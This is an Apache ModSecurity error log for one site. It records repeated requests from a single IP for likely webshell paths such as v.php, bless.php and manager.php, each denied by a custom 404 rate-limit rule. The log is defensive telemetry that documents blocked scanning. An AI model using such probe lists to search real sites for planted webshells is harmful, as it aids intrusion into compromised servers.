[Fri Dec 19 18:50:06.375707 2025] [:error] [pid 41451:tid 41464] [client 52.187.119.223:9142] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aUUt3gYXFn-DbZghZBGyVwAAAAo"]
[Fri Dec 19 18:50:06.637078 2025] [:error] [pid 20675:tid 20698] [client 52.187.119.223:9141] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aUUt3rMyJ3XqeDRsbQlqhQAAAQo"]
[Fri Dec 19 18:50:06.890426 2025] [:error] [pid 20582:tid 20642] [client 52.187.119.223:9089] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aUUt3spAnrkQKZ4b5gYNnQAAAMA"]
[Fri Dec 19 18:50:07.117371 2025] [:error] [pid 20675:tid 20711] [client 52.187.119.223:9102] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aUUt37MyJ3XqeDRsbQlqhwAAARc"]
[Fri Dec 19 18:50:07.321967 2025] [:error] [pid 20675:tid 20703] [client 52.187.119.223:9031] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aUUt37MyJ3XqeDRsbQlqiQAAAQ8"]
[Fri Dec 19 18:50:07.513940 2025] [:error] [pid 20580:tid 20586] [client 52.187.119.223:20037] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUUt30md1op_YdAdgR14ggAAAEA"]
[Fri Dec 19 18:50:07.962255 2025] [:error] [pid 20582:tid 20656] [client 52.187.119.223:9208] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUUt38pAnrkQKZ4b5gYNowAAAM4"]
[Fri Dec 19 18:50:08.285767 2025] [:error] [pid 41451:tid 41457] [client 52.187.119.223:9127] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUUt4AYXFn-DbZghZBGyXQAAAAM"]
[Fri Dec 19 18:50:08.591027 2025] [:error] [pid 20580:tid 20592] [client 52.187.119.223:9105] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aUUt4Emd1op_YdAdgR14hAAAAEY"]
[Fri Dec 19 18:50:08.842539 2025] [:error] [pid 41451:tid 41456] [client 52.187.119.223:9150] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aUUt4AYXFn-DbZghZBGyYAAAAAI"]
[Fri Dec 19 18:50:09.144065 2025] [:error] [pid 20580:tid 20609] [client 52.187.119.223:9138] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aUUt4Umd1op_YdAdgR14hgAAAFc"]
[Fri Dec 19 18:50:09.379867 2025] [:error] [pid 20675:tid 20708] [client 52.187.119.223:9071] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aUUt4bMyJ3XqeDRsbQlqjgAAARQ"]
[Fri Dec 19 18:50:09.701007 2025] [:error] [pid 41451:tid 41458] [client 52.187.119.223:9047] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aUUt4QYXFn-DbZghZBGyZwAAAAQ"]
[Fri Dec 19 18:50:09.907763 2025] [:error] [pid 41451:tid 41478] [client 52.187.119.223:9144] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aUUt4QYXFn-DbZghZBGyaAAAABg"]
[Fri Dec 19 18:50:10.311655 2025] [:error] [pid 20580:tid 20610] [client 52.187.119.223:9213] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aUUt4kmd1op_YdAdgR14iwAAAFg"]
[Fri Dec 19 18:50:10.597833 2025] [:error] [pid 41451:tid 41474] [client 52.187.119.223:9061] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aUUt4gYXFn-DbZghZBGyawAAABQ"]
[Fri Dec 19 18:50:10.790809 2025] [:error] [pid 20580:tid 20588] [client 52.187.119.223:9097] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aUUt4kmd1op_YdAdgR14jQAAAEI"]
[Fri Dec 19 18:50:11.104764 2025] [:error] [pid 20582:tid 20653] [client 52.187.119.223:8974] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aUUt48pAnrkQKZ4b5gYNsAAAAMs"]
[Fri Dec 19 18:50:11.360171 2025] [:error] [pid 20582:tid 20649] [client 52.187.119.223:8963] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aUUt48pAnrkQKZ4b5gYNsQAAAMc"]
[Fri Dec 19 18:50:11.578830 2025] [:error] [pid 41451:tid 41463] [client 52.187.119.223:9036] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aUUt4wYXFn-DbZghZBGybgAAAAk"]
[Fri Dec 19 18:50:11.783354 2025] [:error] [pid 20581:tid 20636] [client 52.187.119.223:20036] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aUUt4_xEv7WXNhnFD1liYAAAAJU"]
[Fri Dec 19 18:50:12.005457 2025] [:error] [pid 20675:tid 20698] [client 52.187.119.223:8980] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aUUt5LMyJ3XqeDRsbQlqlwAAAQo"]
[Fri Dec 19 18:50:12.286984 2025] [:error] [pid 20582:tid 20642] [client 52.187.119.223:9152] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aUUt5MpAnrkQKZ4b5gYNswAAAMA"]
[Fri Dec 19 18:50:12.809627 2025] [:error] [pid 41451:tid 41454] [client 52.187.119.223:8960] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aUUt5AYXFn-DbZghZBGycAAAAAA"]
[Fri Dec 19 18:50:13.044089 2025] [:error] [pid 20580:tid 20598] [client 52.187.119.223:9148] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aUUt5Umd1op_YdAdgR14lAAAAEw"]
[Fri Dec 19 18:50:13.337678 2025] [:error] [pid 20675:tid 20709] [client 52.187.119.223:8964] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aUUt5bMyJ3XqeDRsbQlqmwAAARU"]
[Fri Dec 19 18:50:13.557333 2025] [:error] [pid 20675:tid 20699] [client 52.187.119.223:8994] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aUUt5bMyJ3XqeDRsbQlqnQAAAQs"]
[Fri Dec 19 18:50:13.828630 2025] [:error] [pid 20675:tid 20708] [client 52.187.119.223:20008] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aUUt5bMyJ3XqeDRsbQlqnwAAARQ"]
[Fri Dec 19 18:50:14.076004 2025] [:error] [pid 20675:tid 20696] [client 52.187.119.223:8904] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aUUt5rMyJ3XqeDRsbQlqoQAAAQg"]
[Fri Dec 19 18:50:14.351335 2025] [:error] [pid 20580:tid 20610] [client 52.187.119.223:9054] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUUt5kmd1op_YdAdgR14mgAAAFg"]
[Fri Dec 19 18:50:14.667287 2025] [:error] [pid 20675:tid 20707] [client 52.187.119.223:9209] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUUt5rMyJ3XqeDRsbQlqowAAARM"]
[Fri Dec 19 18:50:14.947206 2025] [:error] [pid 20675:tid 20689] [client 52.187.119.223:9146] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUUt5rMyJ3XqeDRsbQlqpgAAAQE"]
[Fri Dec 19 18:50:15.242244 2025] [:error] [pid 20582:tid 20656] [client 52.187.119.223:9110] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aUUt58pAnrkQKZ4b5gYNtgAAAM4"]
[Fri Dec 19 18:50:15.637588 2025] [:error] [pid 20675:tid 20695] [client 52.187.119.223:9076] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aUUt57MyJ3XqeDRsbQlqqwAAAQc"]
[Fri Dec 19 18:50:15.847922 2025] [:error] [pid 20675:tid 20708] [client 52.187.119.223:9049] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aUUt57MyJ3XqeDRsbQlqrAAAARQ"]
[Fri Dec 19 18:50:16.161887 2025] [:error] [pid 20675:tid 20690] [client 52.187.119.223:9041] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aUUt6LMyJ3XqeDRsbQlqrwAAAQI"]
[Fri Dec 19 18:50:16.400132 2025] [:error] [pid 20675:tid 20697] [client 52.187.119.223:9188] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aUUt6LMyJ3XqeDRsbQlqsgAAAQk"]
[Fri Dec 19 18:50:16.651709 2025] [:error] [pid 20581:tid 20624] [client 52.187.119.223:8991] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUUt6PxEv7WXNhnFD1liZwAAAIk"]
[Fri Dec 19 18:50:16.968840 2025] [:error] [pid 20675:tid 20689] [client 52.187.119.223:9060] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUUt6LMyJ3XqeDRsbQlqtQAAAQE"]
[Fri Dec 19 18:50:17.181597 2025] [:error] [pid 20582:tid 20652] [client 52.187.119.223:9091] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUUt6cpAnrkQKZ4b5gYNuwAAAMo"]
[Fri Dec 19 18:50:17.457797 2025] [:error] [pid 20675:tid 20693] [client 52.187.119.223:9083] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aUUt6bMyJ3XqeDRsbQlquQAAAQU"]
[Fri Dec 19 18:50:17.655948 2025] [:error] [pid 20580:tid 20607] [client 52.187.119.223:8972] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aUUt6Umd1op_YdAdgR14nQAAAFU"]
[Fri Dec 19 18:50:17.862723 2025] [:error] [pid 20581:tid 20628] [client 52.187.119.223:8971] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aUUt6fxEv7WXNhnFD1liaQAAAI0"]
[Fri Dec 19 18:50:18.130037 2025] [:error] [pid 20675:tid 20707] [client 52.187.119.223:9043] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aUUt6rMyJ3XqeDRsbQlqwgAAARM"]
[Fri Dec 19 18:50:18.381247 2025] [:error] [pid 20675:tid 20709] [client 52.187.119.223:9145] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aUUt6rMyJ3XqeDRsbQlqxwAAARU"]
[Fri Dec 19 18:50:18.658288 2025] [:error] [pid 20675:tid 20700] [client 52.187.119.223:20027] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aUUt6rMyJ3XqeDRsbQlqyQAAAQw"]
[Fri Dec 19 18:50:18.914797 2025] [:error] [pid 20580:tid 20594] [client 52.187.119.223:8992] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aUUt6kmd1op_YdAdgR14ngAAAEg"]
[Fri Dec 19 18:50:19.128534 2025] [:error] [pid 20580:tid 20596] [client 52.187.119.223:9085] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aUUt60md1op_YdAdgR14oQAAAEo"]
[Fri Dec 19 18:50:19.426806 2025] [:error] [pid 20582:tid 20643] [client 52.187.119.223:8962] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aUUt68pAnrkQKZ4b5gYNvQAAAME"]
[Fri Dec 19 18:50:19.678346 2025] [:error] [pid 20675:tid 20692] [client 52.187.119.223:9050] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aUUt67MyJ3XqeDRsbQlq0AAAAQQ"]
[Fri Dec 19 18:50:20.079401 2025] [:error] [pid 20675:tid 20705] [client 52.187.119.223:9118] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aUUt7LMyJ3XqeDRsbQlq0gAAARE"]
[Fri Dec 19 18:50:20.448946 2025] [:error] [pid 41451:tid 41461] [client 52.187.119.223:9143] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aUUt7AYXFn-DbZghZBGydQAAAAc"]
[Fri Dec 19 18:50:20.640208 2025] [:error] [pid 41451:tid 41469] [client 52.187.119.223:20091] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aUUt7AYXFn-DbZghZBGydwAAAA8"]
[Fri Dec 19 18:50:20.848613 2025] [:error] [pid 20675:tid 20709] [client 52.187.119.223:8984] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aUUt7LMyJ3XqeDRsbQlq1wAAARU"]
[Fri Dec 19 18:50:21.079891 2025] [:error] [pid 41451:tid 41467] [client 52.187.119.223:8903] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aUUt7QYXFn-DbZghZBGyegAAAA0"]
[Fri Dec 19 18:50:21.349280 2025] [:error] [pid 41451:tid 41463] [client 52.187.119.223:9055] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aUUt7QYXFn-DbZghZBGyfQAAAAk"]
[Fri Dec 19 18:50:21.662540 2025] [:error] [pid 20675:tid 20700] [client 52.187.119.223:20022] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "aUUt7bMyJ3XqeDRsbQlq2gAAAQw"]
